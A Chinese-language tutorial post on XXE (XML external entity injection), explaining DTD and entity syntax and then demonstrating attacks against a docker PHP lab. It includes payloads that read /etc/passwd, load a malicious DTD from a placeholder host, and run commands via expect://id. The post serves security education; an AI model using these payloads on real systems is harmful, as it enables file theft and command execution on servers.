原理:XML外部实体注入,简称XXE漏洞,XML数据在传输中数据被修改,服务器执行被恶意插入的代码。当允许引用外部实体时,通过构造恶意内容,就可能导致任意文件读取、系统命令执行、内网端口探测、攻击内网网站等危害。

XML简介:XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据,定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。XML文档结构包括XML声明,DTD文档类型定义,文档元素。

DTD(文档类型定义):

1)内部声明:

语法:<!DOCTYPE 根元素[元素声明]>

示例:

<?xml version="1.0"?>
<!DOCTYPE note [
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
]>
<note>
<to>John</to>
</note>

2)外部声明:

语法:<!DOCTYPE 根元素 SYSTEM "文件名">

示例:

<?xml version="1.0"?>
<!DOCTYPE note SYSTEM "note.dtd">
<note>
<to>John</to>
</note>

note.dtd文件内容:

<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>

DTD实体:

1)内部实体声明:

语法:<!ENTITY 实体名称,“实体值”>

示例:

<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY writer "Bill Gates">
<!ENTITY copyright "Copyright W3School.com.cn">
]> <test>&writer;&copyright;</test>

2)外部实体声明:

语法:<!ENTITY 实体名称 SYSTEM “URI”>

示例:

<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY writer SYSTEM "http://www.xxx.com/dtd/note.dtd">
]>
<author>&writer;</author>

漏洞利用方法:

1)直接通过DTD外部实体声明:

<?xml version="1.0"?>
<!DOCTYPE a [
<!ENTITY b SYSTEM “file:///etc/passwd”>
]>
<c>&b;</c>

2)通过DTD文档引入外部DTD文档,再引入外部实体声明

<?xml version="1.0"?>
<!DOCTYPE c SYSTEM “http://www.xxx.com/evil.dtd”>
<c>&b;</c> DTD文件内容:
<!ENTITY b SYSTEM "file:///etc/paswd">

3)通过DTD外部实体声明引入外部实体声明  

<?xml version="1.0"?>
<!DOCTYPE a [
<!ENTITY % d SYSTEM “http://www.xxx.com/evil.dtd”>
%d;
]>
<c>&b;</c> DTD文件内容:
<!ENTITY b SYSTEM “file:///etc/passwd”>  

 

示例:docker中的php_xxe模块示例

php中的libxml2.9.0以后,就默认不解析外部实体了,docker环境启动后,可以看到phpinfo页面显示的libxml版本。

该环境下www目录下有四个文件

除了index.php外,其他文件我们都可以利用xxe漏洞来读取文件等操作。

打开dom.php

抓包,然后发送到repeater:

1.读取文件:

<?xml version="1.0"?>
<!DOCTYPE GVI [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<catalog>
<core id="test101">
<description>&xxe;</description>
</core>
</catalog>

2.扫描端口

通过返回不同字段来判断是否开启了端口。

3.远程代码执行

这种漏洞需要特定的条件才能触发,当PHP expect模块被加载到了有xxe漏洞的系统或者xml的内部应用程序上,我们就可以进行远程代码执行了

<?xml version="1.0"?>
<!DOCTYPE GVI [<!ENTITY xxe SYSTEM "expect://id" >]>
<catalog>
<core id="test101">
<description>&xxe;</description>
</core>
</catalog>

  

  

 

XXE漏洞的更多相关文章

  1. xxe漏洞的学习与利用总结

    前言 对于xxe漏洞的认识一直都不是很清楚,而在我为期不长的挖洞生涯中也没有遇到过,所以就想着总结一下,撰写此文以作为记录,加深自己对xxe漏洞的认识. xml基础知识 要了解xxe漏洞,那么一定得先 ...

  2. xxe漏洞检测及代码执行过程

    这两天看了xxe漏洞,写一下自己的理解,xxe漏洞主要针对webservice危险的引用的外部实体并且未对外部实体进行敏感字符的过滤,从而可以造成命令执行,目録遍历等.首先存在漏洞的web服务一定是存 ...

  3. XXE漏洞学习

    0x00 什么是XML 1.定义 XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据.定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言.XML文档结构包括XML声明.DTD文 ...

  4. ASP.NET微信支付XXE漏洞修复

    1. XXE场景 关于XML解析存在的安全问题指引 微信支付商户,最近暴露的XML外部实体注入漏洞(XML External Entity Injection,简称 XXE),该安全问题是由XML组件 ...

  5. java中xxe漏洞修复方法

    java中禁止外部实体引用的设置方法不止一种,这样就导致有些开发者修复的时候采用的错误的方法 之所以写这篇文章是有原因的!最早是有朋友在群里发了如下一个pdf, 而当时已经是2019年1月末了,应该不 ...

  6. [Web安全] XXE漏洞攻防学习(上)

    0x00.XXE漏洞 XXE漏洞全称XML External Entity Injection 即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶 ...

  7. [Web安全] XXE漏洞攻防学习(中)

    0x00.XXE漏洞攻击实例 攻击思路: 1. 引用外部实体远程文件读取 2. Blind XXE 3. Dos 0x01.外部实体引用,有回显 实验操作平台:bWAPP平台上的XXE题目 题目: 进 ...

  8. 浅谈XXE漏洞攻击与防御——本质上就是注入,盗取数据用

    浅谈XXE漏洞攻击与防御 from:https://thief.one/2017/06/20/1/ XML基础 在介绍xxe漏洞前,先学习温顾一下XML的基础知识.XML被设计为传输和存储数据,其焦点 ...

  9. Apache Roller 5.0.3 XXE漏洞分析

    下载5.0.2的版本来分析 5.0.2的war包地址 http://archive.apache.org/dist/roller/roller-5/v5.0.2/bin/roller-weblogge ...

随机推荐

  1. MySQL的启动和关闭

    1.Windows下 启动服务 mysqld --console 或 net start mysql 关闭服务 mysqladmin -uroot shudown 或 net stop mysql 2 ...

  2. 用yarn代替cnpm,cnpm漏包有点严重

    npm 的方式  npm  install  -g  yarn   安装完成后,你可以测试下自己的版本 yarn --version 开始使用 单独安装包的方式add 不是install,后面不用加 ...

  3. 挺不错的Java自学网站

    挺不错的Java自学网站 http://how2j.cn?p=29369

  4. NOI 2011 阿狸的打字机(AC自动机+主席树)

    题意 https://loj.ac/problem/2444 思路 ​多串匹配,考虑 \(\text{AC}\) 自动机.模拟打字的过程,先建出一棵 \(\text{Trie}\) 树,把它变成自动机 ...

  5. JDBC编程的步骤

    一.进行JDBC编程的步骤大致如下: 1.      加载数据库驱动,通常使用Class类的forName()静态方法来加载驱动.如下代码: Class.forName(dirvirClass) 上面 ...

  6. .psl脚本介绍

    .ps1文件是PowerShell写好的脚本文件 可以在记事本中写一段PowerShell代码,然后将其保存为“xxx.ps1”,后面要使用它的时候,双击即可运行了.这有点像批处理的“.bat”文件, ...

  7. Mysql数据类型、约束、存储引擎

    一.数据类型 整数类型 默认有符号的 设置为无符号 1.create table t2(age tinyint unsigned); 2.建表后用alter修改 tinyint[(m)] [unsig ...

  8. python学习 day10打卡 函数的进阶

    本节主要内容: 1.函数参数--动态参数 2.名称空间,局部名称空间,全局名称空间,作用域,加载顺序. 3.函数的嵌套 4.gloabal,nonlocal关键字 一.函数参数--动态传参 形参的第三 ...

  9. Spring-JDBC依赖

    <dependency> <groupId>mysql</groupId> <artifactId>mysql-connector-java</a ...

  10. win 10 安装visual studio 2013

    下载地址: http://download.microsoft.com/download/9/3/E/93EA27FF-DB02-4822-8771-DCA0238957E9/vs2013.5_ult ...